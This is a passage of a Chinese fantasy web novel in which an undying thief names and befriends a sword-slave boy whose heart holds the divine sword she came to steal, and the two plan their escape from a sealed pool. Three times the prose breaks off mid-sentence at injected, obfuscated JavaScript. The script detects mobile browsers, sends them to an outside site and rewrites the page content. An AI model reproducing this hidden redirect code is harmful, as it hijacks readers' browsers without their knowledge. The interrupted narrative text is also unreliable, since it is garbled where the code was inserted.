“哪来那么多废话,再不快点,你就自己留在水里喂鱼吧!” … 直到两人一起站在石台之上,纪宁才明白少年刚刚欲言又止的是什么。 这石台太小了,平时也只供少年一人打坐修炼,当两人离开潭水,湿漉漉的一起站在上面时,石台就显得异常拥挤逼仄,像个无形的鸡笼,让他们两只“落汤鸡”坐立难安。 “鸡笼”狭小,只要一人盘腿坐下,另一人便只能“金鸡独立”,纪宁和少年蹲来换去,无所适从。 并排站不下,面对面又着实太尴尬,最后两人只能背靠着背,双双蜷起腿,这才勉强坐下。 一起挤在这狭小石台之上,只是稍微乱动,都有可能跌入寒潭,然后被灵鱼们吸光灵力,变成干尸。 纪宁这下只得歇了杀人夺宝的心思,而少年也被迫停了剖胸取剑的积极。 经过跳崖被杀又复活,此时太阳早已落下,那血红的晚霞也随纪宁的血一起,沉在寒泉之中,隐没不见了。 天上惟有繁星点点,千百年不变的凝视着大地。 而水中倒映着同一条星河,五色灵鱼摆动长尾,正在这星河之中惬意游荡,搅碎一片又一片星光。 纪宁和少年背对背靠坐在石台之上,万籁俱寂,连风声也没有。 除了灵鱼游动的水波潺潺,便只有各自身后传来的另一人的温热体温,纪宁决定打破这寂静。 “名字?” “……什么?”少年像是没反应过来,回答慢了半拍。 “我是问,你叫什么名字,怎么称呼?总不能一直你啊你的叫着吧。” “我没有名字,沈谷主一直叫我剑奴,你也叫我剑奴就好。” “……这叫法可真新鲜。”纪宁被这回答噎的无言以对,过了会儿还是忍不住吐槽道,“怎么会有人就让别人叫自己剑奴的!” 少年没有反驳,这几句之后,又是一阵尴尬的沉默。 纪宁一时也想不出要怎么脱困,只能呆在这石台上等太阳升起,灵鱼退去,再做打算。 长夜漫漫,实在无聊,纪宁索性撞了撞背后少年的肩膀,起哄道: “没有名字,那自己给自己起一个不就行了?现在就起吧!我帮你参谋参谋。” “嗯……”少年像是被问住了,沉吟良久。 “想不到?可以从喜欢的诗书里……”纪宁正说着,突然想起灵观中那把与心脏共振,与血肉融合的金色飞剑。 这少年估计从小就被沈铸选为养剑炉鼎,关入这无进无出的困龙阵中了,连基本常识都没有,更别说读书了,只好生硬的换了个话题:“那你识字吗?” “认识的,谷内有执事专门负责教剑奴识字,我只是……”对接下来要说出口的话有些羞赦似的,少年不自在的扭动了下。 “我只是不知道自己该姓什么。我听说,姓氏是继承自父母的,名字也该是父母或长辈起的,可我不知我有没有父母,有的话又姓甚名谁……不知道自己姓什么,所以也拿不准该怎么起名字。” 和少年相贴的后背直观感受到了那些不自在的小动作,听着这样可怜可爱的烦恼,纪宁恍然: 自己身后,不只是个养剑剑奴,不只是个武器炉鼎,更不只是她所求的天下第一宝剑的附带品,而是一个活生生的,有感情有烦恼的年轻人。 纪宁忍不住在内心又骂了几句沈狗该死,劝慰道: “无妨,既然名字可以自己起,那姓氏也一样,捡个好听的叫着就是了。我的姓名就是自己起的。” “真的?”少年惊讶的扭过头来,想要看看纪宁的眼睛,看看她是不是在撒谎。 “那你叫什么?” 一个扭头带动身体,差点把纪宁挤下石台,纪宁只得又轻撞了下少年的肩膀,提醒他坐好别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406420|184489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱动。 “我给自己起名纪宁,字世安。因为我想要济世安民,让天下人人安宁喜乐,你叫我纪宁就好。” 纪宁一边回答,一边拧了拧自己还在渗水的破衣烂衫。 突然有风吹过,穿着湿衣服的两人抱着腿,俱打了个寒颤。 夜深露重寒意浓,更何况本就在这寒潭之中。 湿衣服贴在身上,简直冷若刺骨,纪宁摸了摸衣兜,想取出几道火符引燃取暖,但摸了半天,也只摸出几片被水泡烂的碎黄纸。 纪宁干脆凝聚出几团灵力,又将这些灵力从内部点燃,指使着这些燃烧的灵力火苗在两人身周跃动,环绕起伏着取暖。 “纪宁……” 少年望着身周那些跃动的,带来真实温暖的火苗,心中那一直安分汲取灵力的飞剑突然一阵滚烫,让少年不禁伸手抚上自己的胸膛。 “你的名字取自自己的理想,可我除了剑和这座石台,什么也没有,也什么都不想要……要不,我就叫石台怎么样?” “完全不怎么样!你是冷笑话大师吗?”纪宁忍不住扶额,“除了石台,不是还有剑吗?你心脏里那把剑有名字吗?” “有。沈谷主说它叫诛邪剑,能诛尽天下妖魔,斩破世间万物,出世后将会是天下第一神剑……那我叫诛邪?” “可以是可以,但还是奇怪。”纪宁摸摸下巴,还在思考,“没有正常人会用一把剑做名字啊……” “可我本来也不算是正常人啊,我是剑奴。” 少年有点委屈,几次三番的否定让作为武器而生,被教导无喜无悲的剑奴也起了脾气,“这也不行,那也不好,要不你来取?” “我取就我取。诛邪剑,诛邪……”纪宁念叨着这把她梦寐以求的剑的名字,突然一拍掌,想到一个好点子。 “诛邪诛邪,倒过来就是谢诛,叫谢诛怎么样?” 纪宁一边说,一边绕动手指,灵力火团们飞起嬉戏,猛的聚在一起撞碎火花,又在纪宁的控制下乖乖散开,在少年眼前拼出“谢诛”两个字的模样。 “这样听起来好歹像个正经名字了!” “谢诛”两个字带着火光,悬在天上,映在水中,烧进少年心里。 “也不怎么样。” 少年觉得眼眶也被那火光烧得有点温热,却故意学着纪宁之前的样子说。 可还不等纪宁佯装生气,少年就急忙接道:“那我就叫谢诛了!” “不是说不怎么样嘛……”纪宁笑着嘟囔。 少年却仿佛没有听到,只是定定看着那水中天上倒影出的,属于他自己的名字。然后小声将“谢诛”两个字翻来覆去的在嘴里咀嚼,像获得了什么珍奇宝物似的。 少年在今夜,这个尸体从天而降的意外之日,情不自禁露出了人生中第一个微笑。 … 给少年取好了名字,纪宁便准备解决漫漫长夜中另一件重要事。 纪宁捣了捣少年,哦,现在应该是谢诛的胳膊,不客气的质问道: “偷玉贼,我的玉佩呢?还给我。” … 4. 玉佩与糖与剑奴 “我的玉佩呢?还给我。” 纪宁早就发现自己的玉佩被谢诛取下,不知藏在哪里。 也正是拜他所赐,没了玉佩压制,纪宁身上的诅咒生效,引发寒潭灵气躁动,吸收天地灵气,哪怕身体千疮百孔,也瞬息恢复如初。 谢诛没有磨蹭,利落的从衣襟里取出那个奇怪玉佩,侧身交还到纪宁手中。 拿到那复归原主的玉佩,纪宁却没急着带回身上,只是摩挲着玉佩上细密繁复的花纹,觉得有些好笑: “我来偷剑,你偷玉佩,咱们两个还真是默契。之后要是有机会,可以搭伙做个雌雄双盗,登顶神偷之位,岂不是易如反掌!” “你偷剑还没成功。”谢诛诚恳指出,语带骄傲:“我偷玉佩却已经成功了。” 谢诛又想起那玉佩“浮于寒潭上,欲往空中去”的古怪画面,忍不住好奇问道: “这真的是玉佩?我看书上说,玉乃美石,按理应该沉入水中才是,为什么你这玉佩能浮于水上?” 纪宁却没回答谢诛的问题,转而故作惊奇的反问:“原来读过书啊,难道沈铸找了教书先生进阵教你?” “除了沈谷主,你是我在这阵中见到的第二个活人。”谢诛摇头否认。 “在进阵前,有专人教导我们这些剑奴识字读书,辨认经脉,学习功法。而进阵后,为了有助剑诀理解,蕴养神剑,沈谷主偶尔会带些除功法外的书给我。” 看着纪宁佯装好奇的眼睛,谢诛久违的想起了进阵前他识字读书的地方。 … 那应该是一座大殿。 记忆中谢诛从未看清过大殿的全貌,一片昏暗中只亮着几盏灯烛,教导执事的脸就在那火光闪烁中明灭。 那微弱的烛火照明都够呛,更别说取暖了,而从有意识起,谢诛就生活在这阴暗潮湿的大殿中。 识字说话,感受灵力,辨认经脉,学习功法,打坐修炼。 那时他还不叫谢诛,只是天字十一号,身边是和他一同接受谷内教导的剑奴们。 天地玄黄,按资质从高至低。一到三十,按入谷时间从前到后。 大殿内看不到日升月落,也感受不到时间变化,他们将执事进入大殿授课当作一日之始,将授课结束后的例行考查当作一日之终。 就这样,在昏暗的大殿中,剑奴们踏上了修行之路,灵力日益深厚,功法日益精进。 日子就这样平淡如水的在学习和考查的循环中过去,直到某天,谢诛发现,上一次考查结束后,有几个剑奴从大殿中消失了。 渐渐的,大殿内从百十人,到几十人,从几十人,再到几人。 最终,只剩下谢诛一人。 在独自一人的空旷大殿中,沈铸亲自来到他面前,上下打量,满意嘱咐:好好修炼。并许诺等他将身体调至巅峰状态后,会送他一个礼物。 然而在第二天,送给他的,是生生剖开胸膛,刺入心脏的诛邪剑。 那可真是一份大礼。 幸好,他很擅长忍耐,他很擅长专注。 在剑尖刺入心脏的那一刻,他努力忍耐着疼痛,几乎要将牙咬碎,才集中起四散的意识,拼死催动有生以来修炼的所有灵力与功法,试图将剑容纳。 所幸他适应的很好,诛邪剑很快就开始和他的心脏共振,虽然胸膛前留下了一道可怖的伤疤,但他活了下来。 然后被更为满意的沈铸关进这悬崖下的寒潭,终日与石台灵鱼为伴。 他从小就谨记,学剑时要专注,养剑时要忍耐,作为淬养神剑的剑奴炉鼎,“执着”是帮助谢诛在诸多剑奴中存活到最后的好品质,所以他执着的又问了遍: “玉是怎么浮在水上的?难道那不是玉?” “因为这不仅是一个玉佩,还是一个法器。”面对谢诛执着的追问,纪宁这次没有再转移话题,却语气冷漠。 “一块难得的天降陨玉,配上最好的器修工匠。以工匠一生功力心血,将玉石镂为中空,又在内部刻上缩小到极致的繁复法阵,这才能浮于水上。这玉佩法器能在一定范围内隔绝佩戴者与外界的灵力交流。” 对纪宁而言,这玉佩不仅能隔绝她对身周天地灵气的吸取、压制伤口的恢复速度,也能减少因世界对她的“恶意”而带来的灾厄,是一个故人留给她的珍贵礼物。 “原来是这样,所以那时候我一拿起这个玉佩,你就活……” 谢诛若有所悟,但话音还未落下,那飘荡在四周的灵力火焰突然爆出明亮光彩,瞬息便贴至谢诛身前。 之前纪宁为两人取暖而凝聚点燃的柔和火苗,转眼间化为狂暴烈焰。 在那逼人的炽热下,谢诛觉得血肉都要被烤化流下,若是所有火焰一扑而上,自己或许会刹那化为灰烬。 而纪宁已经悄无声息在他身后站了起来,伸手抚上他的脖子。 “我就怎么样?” 谢诛感受到纪宁手中蕴含的能量,那磅礴灵力想必能在瞬间扭断他的脖子,炸碎他的脑袋,干脆利落、不留余地。 但他还是平静的如实回答: “你就活了过来,那时,我听到了心脏重新跳动的声音。” 话音落下,久久无声。 过了好一会儿,谢诛才听到纪宁在自己身后轻笑一声,两人的目光在星河倒映,灵鱼游过的水波涟漪中相逢。 凝望着水中那双古井无波,毫无动摇的眼睛,纪宁想: 一个在阵法中长大的剑奴,就算知道了自己不死的秘密,又能如何呢? 再说,看看这淡漠无情的俏脸,或许他也没那么想活。 想到这儿,纪宁放松了下来,手从谢诛脖子上移开,转而奖励似的拍了拍他的脑袋:“没有撒谎,真乖。” 然后从袖中摸出个油纸包,在谢诛眼前晃了晃: “奖励好孩子吃糖!” 打开油纸,里面是纪宁每次出门前的必备——为了快速补充糖分、精力而携带的饴糖。 这是纪宁“闲坐石台上,乱摸引火符”时找到的。 经过悬崖上的连番追逐战,又掉到寒潭中泡了那么会儿,就连纪宁自己都惊奇于这包糖的完好无损。 纪宁先抓起几块塞进自己嘴里,补充消耗了一天的精力,稍稍缓解了疲惫,这才捡起块儿饴糖放进谢诛手心。 “尝尝?虽然不如采蜜轩的桂花糖清甜,也不如八宝斋的花生酥醇厚,但补充精力还是不错的。” 纪宁一边大口嚼碎糖块,一边对谢诛说道: “既然你看见了,那也没什么好隐瞒的。很久之前我被诅咒了,从此被死亡拒之门外,每次受伤都能吸取身周天地灵气恢复,而玉佩就是用来压制恢复速度的,免得引起什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406421|184489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不必要的关注。” “虽然告诉你了,但这是我的秘密,千万不要说出去哦?” 纪宁以手做刀,装模作样的在脖子上划了一下,“不然,你连自己怎么死的都不会知道。我保证。” 谢诛并没有害怕这个看似玩笑实则认真的威胁,只是小心翼翼的捧起手中的糖块,珍惜的掰了一小块含在嘴中。 糖块入口,转瞬即化,好似甘泉入喉。 “好甜!”谢诛脱口而出。 为了蕴养神剑,剑奴体内不能含有驳杂的灵气,而五谷杂粮,俗世百味正是驳杂灵气的最大来源。 所以谢诛一直只能吃些谷中提供的辟谷丹和养气丸。 虽然从书中知道了什么是糖,也知道了糖是甜的,可这却是谢诛第一次真的尝到糖的滋味。 从记事起,谢诛便在这阵中打坐修炼。 除了偶尔来检查修炼情况,给他带些服用丹药的沈谷主外,再没见过别的活人。 谢诛从没想过逃,因为他不知道自己要逃去哪儿,逃出去后又要干什么。 他的天地,只有寒泉之下的一群灵鱼,寒泉之中的一座石台,和石台之上,打坐的自己心中,一把诛邪剑。 除此之外,他什么也没有,也什么都不想要。 或者说,不知道自己能有什么,该有什么,想有什么。 但纪宁来了,最开始,谢诛只是想剖开心脏,取剑给她,踏上自己人生的最后一步,但现在,他有了名字,也尝到了纪宁口袋里油纸包着的糖的味道。 原来这就是糖,原来这就是甜。 谢诛心想: 糖的滋味这么好,那么给他糖的纪宁来自的外面,一定也很好吧。 他第一次萌生了想要去外面看看的想法。 … 饴糖被谢诛小心地掰成了更小的几块,一点点含在嘴里,不舍得咽下,本就不大的一块饴糖,竟然半天还没吃完。 已经大口嚼完半包的纪宁,看着谢诛吃糖的珍惜模样,忍不住疑惑: 不过是普通的糖块罢了,有那么好吃吗?难道给他的那块儿味道不一样? 纪宁从不纠结,干脆问道: “让我尝尝你那块儿,难不成更好吃?” 虽然很不舍,但谢诛还是将自己剩下的糖块托在手心,递到纪宁眼前。 看着谢诛不舍的样子,纪宁内心觉得好笑,面上却不动声色,最后引动一丝灵力,从那本来就不大的饴糖块儿上切下来一个更小的角,送到嘴里尝了尝。 纪宁觉得自己还没来得及细品,那一小角糖块就化在了嘴里。但还是能够辨别,那残留一瞬的味道,和自己刚刚大口嚼碎的糖块没有任何区别。 纪宁搞不懂,但还是将剩下的油纸包整个递去: “这么喜欢?那剩下这些都给你。” “真的?谢谢你!” 谢诛两眼冒光,立即双手接过。随后又有些不好意思似的,解释道: “其实这是我第一次吃糖,真的跟书上说的一样,好甜!” 第一次吃糖? 纪宁愣了愣,随后内心涌起骂声: 该死的沈铸! 百兵谷这一天天的,底线到底还能低到哪里? 怎么连糖都是第一次吃,平日里是在给剑奴吃空气吗?! … 5. 偷剑不如偷人 纪宁在内心又咒骂了几句。 百兵谷家大业大,天下多少修士为求一柄利器愿豪掷千金,而那座永久悬于空中的铸心殿,更是不知要花多少资金人力才能维护,这般豪奢,没想到竟然连给剑奴的伙食都克扣! 说到百兵谷…… 看着专注吃糖的剑奴少年,纪宁终于回想起自己最初来到悬崖下的目的—— 偷取百兵谷那把引得天现异象的绝世神剑。 虽然现在已经能确定,之前猜想中,沈铸藏匿的那把真正的神剑,就在这剑奴少年的心脏之中。 但纪宁还是想再确认一下,那把金色飞剑是否真的如传闻般能“绝断生机”,自己解决诅咒的期望又是否会再次落空。 “甜吧?” 纪宁看着吃糖吃的津津有味的谢诛,开始了低声的劝诱试探: “看在我把糖全给你的份上,告诉我,既然诛邪剑就在你的心脏之中,那你有办法用它吗?比如人剑合一什么的?” “不行的。” 埋头吃糖的谢诛闻言,摇了摇头。 “我最多只能催发诛邪剑生出剑意,再借由经脉导出利用。如果我能自由驱使它的话,就不用剖开心脏取剑了。” 也是,但纪宁还是有些不死心。 既然是能断绝生机的神剑,那就算没法切实握住剑柄,催发而出的剑意也至少该有一半功效吧? “剑意也行,全力催发一道剑意出来试试。”纪宁扯掉本就破烂的衣袖,露出光洁的胳膊: “对准这儿,刺一剑。让我看看这绝世神剑是否真的名副其实,断绝生机!” 纪宁跃跃欲试。 “既然你这么说了……”听到纪宁的要求,终于从糖堆中抬起头的谢诛抹了抹嘴角,小心的将剩下的糖块用油纸包好,妥帖存放进衣襟。 诛邪剑深入他的心脏之中,每次催发剑意,都要承受剜心蚀骨之痛,再忍受经脉撕裂之苦,才能顺利将其导出。 但没关系,他很擅长专注,他很擅长忍耐。 更何况,这是为他起名,送他糖吃的纪宁要求的。 哪怕再催发一千次,他也不会拒绝。 谢诛运起功法,催动诛邪剑意,默默忍受着那随剑尖轻颤而迸发的剜心之痛,那痛苦随后又游过四肢经脉,最终从掌心喷薄而出,凝聚出一道剑气,如约在纪宁胳膊上划出血痕。 这一次,血肉没有翻涌,伤口处明显附着一抹消解生机的古怪灵力,与纪宁体内涌动的想要恢复的力量相抗衡。 纪宁大喜过望,紧紧盯着那两股力量僵持的血痕,只希望这伤口愈合的慢一点,再慢一点,恨不得永不愈合才好。 但等那抹古怪灵力被消耗殆尽后,伤口还是在慢慢愈合,不过肉眼可见的,相比在悬崖上密林中被三个活宝追逐时,速度慢了很多。 三刻之后,那伤口最终还是消失不见,不过纪宁已经很满足了。这下,她解除诅咒,奔赴死亡的天平上,又增添了一个有力的筹码。 “不愧是观星阁主预言的神剑,绝断生机,名不虚传……诛邪剑,我势在必得。”纪宁喃喃。 听了这话,默默在旁观望的谢诛顿了顿,望着纪宁欲言又止,踌躇良久,最终还是在纪宁的催促下开口说道: “不论是谁来取剑,我都会给他然后死去。我本来是这么想的,但……” “但?”纪宁接道。 “但……” 谢诛突然伸手抓住了纪宁的手腕,感受着手心中跳动的脉搏,和自己的心跳此起彼伏,渐渐共振,口齿中还残留着饴糖的甘甜,谢诛第一次如此鲜明的感受到自己活着。 “……但,你给了我名字,给了我糖吃,我第一次被人叫谢诛而不是剑奴,也是第一次知道书上说的糖是什么滋味。” “我想尝尝你说的采蜜轩的桂花糖是怎样的清甜,八宝斋的花生酥又是怎样的醇厚……” “我……我也不知道怎么了,但我突然想出去看看,我还有些不舍得,不舍得就这么死了……” 少年仰头望着纪宁,语气中并没有哀求,只是一边思考,一边斟酌言辞,又生涩又困惑,好像自己也搞不懂自己的心了。 啊,原来如此。看着少年困惑的眼睛,纪宁恍然。 少年不清楚的事,纪宁却非常清楚: 死兮生所倚,生兮死所伏。 少年没有真正的活过,便无所谓死亡;就像自己没有真正的死亡,便无所谓活着。 所以初见时,谢诛能不论来者身份,果断决绝的将剑意刺向胸膛。 而现在,纪宁不过为他揭开生活的一角面纱,朝里轻瞥了一眼,他便再也无法坦然接受死亡。 “诛邪剑已经与你的心脉相连,若是我强要取剑,你打不过我,还是必死无疑。”纪宁无情的拂开谢诛的手,背过身去。 亘古星河也在此刻沉默。 “你说你现在舍不得死了,但为了这把剑我准备良久,不可能放弃。” “我……”谢诛还想再说些什么,纪宁却已经转过身来。 “谢诛,做我的剑吧。”纪宁微微弯下腰,伸出手来。 “我是来偷剑的,既然你说你就是剑,那我就偷走你好了!”纪宁说完,忍不住朗声笑了起来。 那些灵力火苗也像是感受到了纪宁的心情,绕在她身周雀跃的跳起舞来。 漫天星辰照耀,却不及她火光中的笑容绚烂。 谢诛一下子被那笑脸晃了神,看着夜空下神采飞扬,眼睛比星河还闪耀的纪宁,情不自禁将手搭上了那伸出的温暖掌心,呆呆 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纪宁需要的是诛邪剑本身,而不是自己,如果要在看过世间后剖胸取剑,他又怕……他又怕自己会不舍得死。 只是有了名字,吃了糖,就有点舍不得死了,那出去后呢? 估计会更舍不得,可这样不就帮不上纪宁的忙了? 那还不如现在就死了。 想到这儿,谢诛又用力的摇了摇头。 看着脑袋又点又摇,就是不说话的剑奴少年,纪宁有些无奈的伸手,敲了下眼前人的头顶: “别光动脑袋啊,说话!” 谢诛想了又想,犹豫半晌,最后开口说: “如果我和诛邪剑无法分离,就算出去了,也帮不到你,不然,你还是现在就取剑吧。” “原来你担心的是这个。” 纪宁手上使劲,一个用力将谢诛“搀”了起来,让他和自己紧贴着,在狭小石台上抵足而立。 “我认识个藏书阁的医修,人们都说他是‘一丹回春枯骨生,素手捻针死人活’,被称为九死回生游双月。 这么厉害的医修,肯定有办法将你和诛邪剑安全的分离,出阵后我们就去藏书阁找他。” 纪宁对着那张近在眼前的俊秀面孔笑了笑,“我用我的名字发誓,取了剑,也一定不会让你死的。” 听了这话,谢诛紧紧回握住纪宁温暖干燥的掌心,也在内心暗暗发誓: 他要为眼前这个人效死。 而看着谢诛眼中涌动的坚定与水光,纪宁明白: 这下,她真正偷到了这个剑奴少年藏剑的心。 诛邪剑,是她的了。 … 6. 破阵而出 “话虽这么说……” 星河闪耀之下,寒潭石台之上,纪宁抬头眺望,禁制法阵的灵气屏障如水波般规律流动,天衣无缝; 低头环顾,五色灵鱼们绕着石台追逐嬉戏,贪婪吸食着星光。 “现在剑和人都偷到了,问题是,我们怎么出去呢?”纪宁有些苦恼的问道: “谢诛,你一直生活在这法阵之中,难道没发现什么可以出去的破绽或生门吗?” 谢诛思考了会儿说: “从记事起,我就在这阵中打坐修行,曾经也趁谷主不在时摸索寻找,想着或许有什么隐藏通道,但事实上,什么也没有。 这寒潭四周不管哪里都被屏障笼罩,连天上也不例外,没有缺口。 哪怕我每天观察头顶阵法的灵力流动,也找不到破绽之处,这是个几乎完美的阵法。” 因为过分贴近,谢诛说话时呼出的气息打在纪宁耳侧。 “毫无破绽?不应该啊,这世上不可能有完美的阵法……”纪宁揉了揉发痒的耳朵。 “你说得对,所以是‘几乎’完美。这阵法虽无破绽,却有薄弱之处。” 谢诛笃定道:“根据我每日打坐时的观察来看,这座大阵主要是靠吸收日月灵气维持运转的。 每日晨昏交替,星辰渐隐,而朝阳未升之时,就是阵法力量最薄弱之时,而其中最薄弱之处就是这阵法的顶点。” 话音落下,纪宁和谢诛不由得一起向空中那阵法的最高点望去。 只见千仞峭壁之上,纪宁曾浴血“奋战”过的那片悬崖之下,屏障顶端流动的灵力波纹正和群星一起,忽明忽暗的闪动,仿佛也和星空一样高远。 “好高啊……”两人同时发出感慨。 纪宁试着凝出一道纯粹的灵力攻击,弹指向那顶点袭去,才到半空就受了干扰,突然脱离纪宁的掌控,直直落入水中。 寒潭中的灵鱼没有被惊散,反而一哄而上,将灵力分食了。 “看来这阵法内,还有对灵力攻击的干扰屏障,可惜没带我的弓箭,要不就能试试实物攻击会不会也被干扰了。 唉,阵法顶端碰都碰不到,又怎么破阵而出呢?” 纪宁说着又想起什么似的,拍了拍谢诛的肩膀: “试试诛邪剑意?” “不行的,我之前也试过,诛邪剑意对这阵法无效。” 谢诛虽然这么说,却还是听话的催动心中剑锋,剑意伴随剧痛渐渐凝聚在掌心,直到凝聚出一把纯粹由剑意组成的短刃,挥手让其向空中刺去。 诛邪剑意斩向头顶,屏障一阵涌动,眼看着将要破开一丝缝隙,寒潭中却涌起股强大灵力,补充进阵法,那即将破开的缝隙便如抽刀断开的水,重又合上了。 谢诛不为所动,又催发出好几道剑意,接连斩向阵法顶端的同一点。 但屏障并没有如纪宁预想般,被密集的剑意攻击斩出真正的空隙,反而发出阵金色光芒,随后灵力流动的方式产生了微妙的变化。 下一刻,谢诛斩出的凌厉剑意就像陷入了泥潭,诡异的被阵法吸收了。 谢诛抿嘴,有些无奈的望向纪宁:“就像这样,阵法会根据攻击类型变换防护方式。” 纪宁见状只得安慰: “也是,毕竟是百兵谷的护山困龙阵,怎么可能这么简单就破了。 再说,这阵法正是为了困住你和诛邪剑而设,无效才是常理。我想想还有没有别的办法……” 纪宁和谢诛一起望着头顶遥遥星幕,和星幕之下若隐若现,完好无缺的阵法之顶,陷入了沉默。 这偷剑之行还真是一波三折,先是造势被众人追杀,差点坚持不到悬崖旁,假死成功,骗沈狗开了阵法通道后,又发现自己要偷的剑竟是一个大活人! 还没等震惊完,两人又差点葬身鱼腹,等一切都解决后,现在才发现可能出不去了,那偷剑还有什么用? 思及此,纪宁忍不住叹了口气。 正当纪宁努力思索其他破局之法时,寒潭中的灵鱼们突然有了异动。 本来一直规律环绕石台游动的灵鱼们突然躁动起来。 好像潭水即将被煮沸了似的,灵鱼们挤挤攘攘,四处乱窜,有的跃出水面,有的沉入潭底,乱作一团。 纪宁和谢诛都被这骚乱异动吸引,探头看去。 可还没乱多久,灵鱼们又瞬间安静下来,整齐划一的分开在潭水两侧,让出一条通向石台的通道。 只见一只比寻常灵鱼小上许多的灵鱼从潭水底部浮了上来,正向石台上的两人游来。 那奇怪的灵鱼肉眼估计只有半掌大小,和其他将近成人小臂长的灵鱼比起来,简直就像是鱼苗。 还不等纪宁探究这是怎么一回事儿,身边的谢诛就已经惊呼出声:“是小红!” 纪宁细看,发现这被谢诛称为小红的灵鱼的确“鱼如其名”。 其他灵鱼体内的灵力颜色大多驳杂,以黄蓝二色为主,间杂有褐色青色,而这条名叫小红的灵鱼体内却只有纯粹的红色灵力蹿动。 谢诛惊呼过后开始为纪宁介绍: “这是小红,他是唯一一条在白天也出现的灵鱼,而且已经生出些许灵智。 平日里白天修炼,我和小红总彼此为伴,我运转灵力滋养神剑,小红就在石台边吸收日光精华。” “竟然已经生出了灵智?” 纪宁闻言催促道:“那你快问问,突然搞这么大阵仗,是不是有什么办法可以帮我们脱出这阵法?” 谢诛蹲下身,将手伸进寒潭之中,轻轻拨动潭水。 那红色小鱼像是感受到水的波动,很快调转方向,游到了谢诛的手边。 谢诛的手指轻搭在小红身上,闭眼像是在感受什么,片刻过后,谢诛神色复杂的转头对着纪宁,欲言又止。 “怎么?没有办法吗?”纪宁问。 “不,小红说他有办法。但……这个办法需要灵鱼们付出他们的生命。” 接着,谢诛向纪宁仔细解释道: “小红说,他可以联合其他灵鱼们一起,利用他们体内的风灵力离开潭水,升至空中,近距离攻击阵法。 但光凭他们自己仍无法撼动屏障,还需要我们配合,指出薄弱处,同时发起灵力攻击,撑破这阵法的容纳极限。” 纪宁没对这办法发表看法,而是问了个别的问题: “鱼离了水,还能活吗?” “我不知道……但就算可以,我想他们也活不成了。” 谢诛低落的垂眼,“因为他们想自爆来攻击屏障。” 听了这话,纪宁愕然失语。 而寒潭之中的小红却不耐的摆动长尾,像是在催促。 “它们……为什么要做到这一步,就为了帮我们破开阵法?”纪宁忍不住问。 这些小小的生命又不像她,因为可以死而复生,而对一切牺牲毫不犹豫。 “他们和我一样,从出生起就被困在这方寒潭之中,只为了未来不知哪天,作为耗材,作为薪柴,作为剑的滋养死去。或许,他们也想要……自由吧。”谢诛答道。 随后像是下了某种决心,双手伸进刺骨水中,掬起一汪寒泉,将小红捧到两人身前,征询纪宁的意见: “要试试吗?” 看着少年仿佛燃起火焰的眼睛,纪宁知道,就算自己不同意,谢诛也会去试试,更何况,自己没理由拒绝。 被困于阵法的天生灵物与剑奴少年,共同为了自由的奋力一击,这样的故事高潮,纪宁当然不会错过,所以她粲然一笑,高声回道: “自然!我也来帮忙。” … “小红,如果你们真的决定好了,我们答应你。” 谢诛话音刚落,小红便激动的转了个圈。在谢诛手心那汪小小的寒泉中,红色的鱼尾迤逦飘逸,尾巴尖都透出雀跃。 潭水中的灵鱼们仿佛都得知了这个消息,争先恐后得跳出水面,溅起满池水花,进行着它们自己的庆祝。 一刻过后,灵鱼们像是庆祝够了,首尾相接的在水中排成几列,绕着石台游动起来。 随着灵鱼们游动的越来越快,越来越急,环绕石台几乎形成了一道彩色螺旋,螺旋之中一只青色灵力充盈的灵鱼率先脱离了潭水,迤迤然向空中游去。 此时天空成了无水的海洋,任它自由来去。 而随着这只灵鱼领头示范,其他灵鱼也壮起胆子,三五成群,纷纷向空中游去。 灵鱼们越飞越高,越飞越远,最终飞到了那困住他们一生的阵法顶端。 寒潭之中的灵鱼,此时凝成了一座连接天地的桥。 眼见寒潭之中的灵鱼都飞到空中,组成了那鱼桥的一部分,小红在水中顶了顶谢诛的指尖,像是在催促,又像是在告别,随后跳出谢诛掌心那片小小水面,也飞了起来,摆动旖旎长尾,游向那鱼桥的顶端。 谢诛俯下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406423|184489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子,摸了摸自己打坐多年的石台,又环顾这方陪自己长大也禁锢自己的寒潭,然后最后一次望向水中自己的倒影。 谢诛望着那没了灵鱼的平静水面出神: 明明看过无数次,却好像今天才第一次认识自己,此时潭水之中映出的是怎样的一张脸—— 细眉挺鼻,清秀出尘,悬崖之下常年不见天日使其脸色苍白,平添了抹脆弱,但紧抿的唇峰和眼中的寒芒却中和了这股秀美,整个人如一把藏在剑鞘之中的宝剑,华美沉静,却隐有锋芒。 无数个斗转星移的日夜,他都是独自一人,望着水中同样形单影只的倒影。 